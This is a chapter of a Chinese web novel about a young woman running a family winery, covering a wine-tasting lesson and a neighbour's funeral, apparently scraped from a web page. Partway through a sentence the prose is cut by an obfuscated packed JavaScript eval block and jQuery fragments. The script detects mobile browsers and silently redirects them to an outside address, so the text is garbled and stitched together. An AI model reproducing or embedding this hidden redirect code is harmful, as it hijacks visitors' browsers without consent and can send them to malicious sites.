25. 第 25 章
作品:《祁云镇的小娘子》 “不是的,你误会了……”
被制裁的小孩还在挣扎着解释。
这时一直在酒坊里的秦姝也听到了外面的动静,出来查看情况,就看到郑多财抓着一个小孩气势汹汹。
“怎么了?”
听到秦姝的声音,郑多财本能地朝声音的源头看去,手上的力气也松了几分。
那小孩察觉到束缚自己的力量卸了几分,顿时找准时机挣脱开,扑到秦姝的怀里。
“桑桑姐!你可算出来了!你家长工欺负我!”
秦姝低头一看,这才认出这小孩是谁,顿时笑道:“定是你这小子鬼鬼祟祟,才被人误会的。这个时辰不是该上学吗?你怎么跑到这来了。”
小孩一听,只觉得大事不妙:“桑桑姐,我这就走了,你可千万别告诉我爹娘还有程夫子!”
麻溜说完这一长串,小孩便转身跑远了。
郑多财见状,连忙将自己刚刚看到的情况告诉了秦姝。
闻言,秦姝并不生气:“他啊,小孩子贪玩罢了。反倒是你,我不是说准你休息一天吗?怎么跑过来了?”
见秦姝并没有在意这件事,郑多财也不再多想。又听到秦姝问起自己的情况,摸了摸自己的后脑勺,憨笑两声:“我病已经好了,待在那儿怪没意思的。你今天忙什么呢?需要我帮忙吗?”
“暂时还用不上你,这段日子本来就不忙,我来酒坊也是习惯了,看看有什么可以提前准备的。”
秦姝笑着摇头。
一时无话。
郑多财面上露出迟疑的神色,过了半晌,突然开口:“要不你教我认酒吧,什么酒什么价格,下次我就不会记岔了。”
听到郑多财的话,秦姝先是一愣,随即笑着点头:“好啊。”
说着,便领着郑多财到了酒坊的院子里,除了搬来桌子凳子,还有瓶瓶罐罐各种各样的酒。
“你从前喝过酒吗?”
保险起见,秦姝先问了一声。
郑多财摇摇头。
果然不出秦姝所料,针对没有喝过酒的人,秦姝也不敢贸然拿出烈酒,故而只先拿出几瓶米酒和果酒。
郑多财面前被摆了五个杯子,每个杯子都被倒上了一杯酒,颜色各异。
“你先闻闻,这些酒有什么区别?”
得到秦姝的指令,郑多财先是看了对方一眼,随即依次将鼻子凑了过去,闻着每杯酒里的味道。
“我闻着都差不多,有点刺鼻……”
郑多财怯怯地说出了自己的想法。
在酒这上面,秦姝的耐心十足。故而听到郑多财这样的话,也并不恼:“你再仔细闻闻。”
郑多财依言照做,随即指着其中一杯透明的酒杯道:“这个好像没什么气味。”
“继续。”秦姝笑着鼓励。
闻言,郑多财又低头嗅了嗅其他的,指着其中一杯白色略有些浑浊地道:“这个的气味好像最浓。”
“还有呢?”秦姝追问。
郑多财又试着闻了几下,随即有些颓然地摇摇头:“我真的不知道了。”
见郑多财一副委屈的模样,秦姝莫名想笑,但还是憋住了,指着那杯被郑多财认为酒味最浓的说道:“那你尝尝这杯,味道怎么样?”
郑多财拿起酒杯,先是小心翼翼地啜饮了一小口,只觉得气味冲鼻,反倒没尝出许多酒味。便将剩下的一口喝了干净,酒水骤然入喉,哪怕做了准备,郑多财还是被呛到了。
“咳咳!”
郑多财咳了半天,好不容易缓了过来,眼尾都带上了泪花。
“味道怎么样?”
听到秦姝的问话,郑多财先是沉思了一会,随即认真地答道:“好喝。”
闻言,秦姝扶额,随手指了另外一杯:“那你尝尝这个。”
郑多财点点头,有了刚才的经验,这次郑多财喝起来就顺利多了。
“味道如何?”秦姝再问。
郑多财闻言,将酒杯放回桌上,依旧一脸认真:“好喝。”
注意到秦姝的脸色有些许不对,郑多财连忙找补:“比刚才那个要甜一点,味道还有些熟悉,好像在哪里闻到过。”
秦姝闭眼以此来平复自己内心的不悦,一脸严肃地看着郑多财:“我家的酒要是不好喝,怎么会到现在还没关门呢?”
“好像是这么个理……”郑多财面上有些心虚。
“所以,你觉得我是想要你的一句好喝吗?”秦姝继续追问。
面对步步紧逼的秦姝,郑多财不敢出声,就连眼神都闪躲了起来,不敢直视秦姝的眼神。
“而且你既然主动提起要辨酒,认酒,就凭你自己一句好喝,你就知道你喝的是什么酒,价值几何吗?”
秦姝每说一句,郑多财内心的羞愧就要多一份。
看到郑多财脸上露出的落寞神情,秦姝反倒是突然卡了壳,主动放软了语气:“好了,我也不是要刁难你。大不了让你多喝一点,熟能生巧,你总能记住的。”
“刚刚你喝的是我家的桑葚酒,果酒的味道比别的酒都会带一点甜味,好歹你尝出来了,还是不错的。你喝的第一杯是最常见的米酒,虽然气味烈,但酒本身不烈,酒味浓淡也会因各家酿造手法的出入而有不同。”
“因为米酒是最常见的,所以卖得也不贵,但也因此,常常卖得比别的酒好。桑葚一类的果酒会稍贵一点,但也根据具体原料的不同而有变化。”
“不是我自夸,我爹当初就是靠酿桑葚酒起家的,所以我家酒坊最出名的也就是这桑葚酒。酒坊的后山你也瞧见了,种满了桑葚也是为了酿酒。故而,我家桑葚酒的价格虽与外头一样,但原料上的价格花得就要比别人少……”
听着秦姝耐心地讲解,郑多财突然发问:“既然价格与外面一样,那如何能挣钱呢?”
听到郑多财的话,秦姝也是叹了一口气:“我最近也在想这个,酒坊酿酒,大部分都知道你造价几何,卖贵了便没人买。所以我才想着照古方复原古酒,或者研制新酒……”
“而且莺莺说得也没错,镇上买酒的数量终归有限。若是想搏一搏,还是得去省城,将我秦家酒坊的名声打出去。”
郑多财听了也跟着发愁。
秦姝调整好心情,将剩下的酒瓶往郑多财面前一推:“既然是你自己主动提的,这些酒你今天就都喝了吧,好好记住它们的味道。”
看着面前的酒瓶,郑多财默默咽了口水:“秦姝,我感觉……”
话还没说完,就听到门口一阵叩门声。
秦姝听到声音,也没顾得上对方,下意识就走向门口,来人是东街的吴阿叔。
“桑桑啊,何家阿爷今早刚刚去了,我受托来定丧宴的酒水。”
听到对方的话,秦姝尚未反应过来,就听到对方继续说道:“就普通的米酒,定三坛就够了,这是酒水的钱。”
“何家阿爷不是说好多了吗?怎么突然就没了?”
秦姝问道。
“这一下子的事谁料得到呢?何家阿婆也是可怜,我先不与你说了,我还有别的事要办,你尽早将酒送去啊。”
吴阿叔匆匆说完就离开了。
秦姝有些恍然,何家阿爷在镇上是出了名的和蔼可亲,她小时候也在何家阿爷那得了不少糖。虽然早就知道何家阿爷得了病,离开是早晚的事,哪里想到会这么突然。
想起小时候何家阿爷同自己说话的情形,秦姝心中情绪一时难明。
整理好情绪,秦姝回头就看到郑多财还坐在桌旁,正拿手指戳那些酒瓶。
好端端的酒瓶到了他手里,倒成玩具了。
见状,秦姝皱起眉,大步走过去:“行了,先干活吧。”
郑多财闻言抬头,只是一脸红潮吓得秦姝一惊。
“你不是说病好了吗?”
怎么脸还是红得如此吓人。
面对秦姝的疑问,郑多财晃了晃脑袋,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034609|161376||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸无辜的模样:“秦姝,我的头……好像不在了……”
听到对方这样骇人听闻的言辞,秦姝先是皱眉,随即又看了一眼对方空了几杯的酒杯,面上全是嫌弃:“这点酒就醉了?”
脸上全是不屑一顾以及对郑多财的无情嘲笑。
“算了,反正今天就计划让你休息的。”
这人就没靠谱过。
秦姝不再理郑多财,自己去库房搬来三坛酒,又亲自送去何家。
何家就住在程宥礼私塾的对面,此时如今不大的院子,已经挂上了白幡。
灵堂里安放着何家阿爷的棺材,何家阿婆则坐在一旁,即便被三五个同龄的阿婆安慰着,依旧不断地掩面哭泣。
秦姝将酒交给负责的人,又先去给何家阿爷上了香磕了头。
虽说不是自己的亲人,可从小熟知认识,贸然得知人已经不在了的消息,难免心中感慨。
何家阿婆如今早已泣不成声,满是沟壑的脸上也已经被泪痕代替。
“阿婆,别太伤心了。”
秦姝想着安慰一下老人,可话到嘴边,最后也只剩下这么一句干巴巴的话语。
何家阿婆抬头看了秦姝一眼,木然地点点头,算是接受了秦姝的好意。
只是泪水还是无声地往下落,仿佛没有尽头一般。
出了灵堂,秦姝看到来帮忙的程宥礼,便打了声招呼。
“程大哥,不是还没到放学的时候吗?”
程宥礼闻言笑笑:“我给学生提前放了学。”
何家阿爷和阿婆没有孩子,镇上不少人都主动过来帮阿婆处理阿爷的身后事。
这么多年两个人,多少风风雨雨也走过来了。没想到到最后,还是免不了天人永隔的命运。
秦姝心中不是滋味,却又不知道该从何说起。
和程宥礼一起帮着何家料理了一些事,秦姝才告辞回家。
得知何家阿爷去世的消息,秦父秦母也是一阵恍然,直说明天再去吊唁。
而除开这件事,秦姝还被自己爹娘另外批评了一顿。
原因无他,郑多财病才好,她不照顾着点,还任由他的想法就给他喝酒。
最后还放任他一个人醉倒在酒坊里,本来好了大半的风寒这会又加重了。
秦姝只觉得冤枉,喝酒是他自己提的,说病好了的也是他自己。
从头到尾她都没有主动说一个字,做一件事。
明明是他自己不靠谱,如今反倒是她做错了?
秦姝越想越不服气,到了下午吃饭的时候,整个人对郑多财都是横眉竖眼的。
郑多财也是心虚,只敢默默吃菜,甚至都不敢抬头与秦姝对视。
看到两人这样奇怪的氛围,秦母拍了拍秦姝的头:“桑桑,你对人家态度好点!”
闻言,秦姝更加生气,低头猛吃,借此来宣泄自己的不满。
筷子每次碰到碗发出的声响,都叫郑多财不可避免地心漏掉一拍。
他宁可挨骂的是他自己,也比这样来得痛快。
“伯母,其实错在我……”
“你年纪小,又不懂生病了不宜饮酒,她不一样,她是卖酒的。要是别人在她这买酒出了事,你看她怎么办……”
秦母安慰郑多财的同时还不忘数落一下秦姝。
“我吃饱了!”
秦姝听不下去了,碗被重重地砸在桌上,发出的声音成功让郑多财身躯一震。
第二天出门时,秦姝特意拦在某个要跟在自己身后出门的人的身前,双手环抱胸前,一双眼目不转睛地盯着对方,语气生硬:“你病好了?”
闻言,某人小鸡啄米般地点头。
“真好了?”秦姝压低声音故意追问,这人要是真急着去和阎王爷报到也别就逮着她一个中间人薅。
某人自知理亏,但还是乖巧地点头。
秦姝翻了个白眼,这家伙要是再坑自己,她一定将他扫地出门!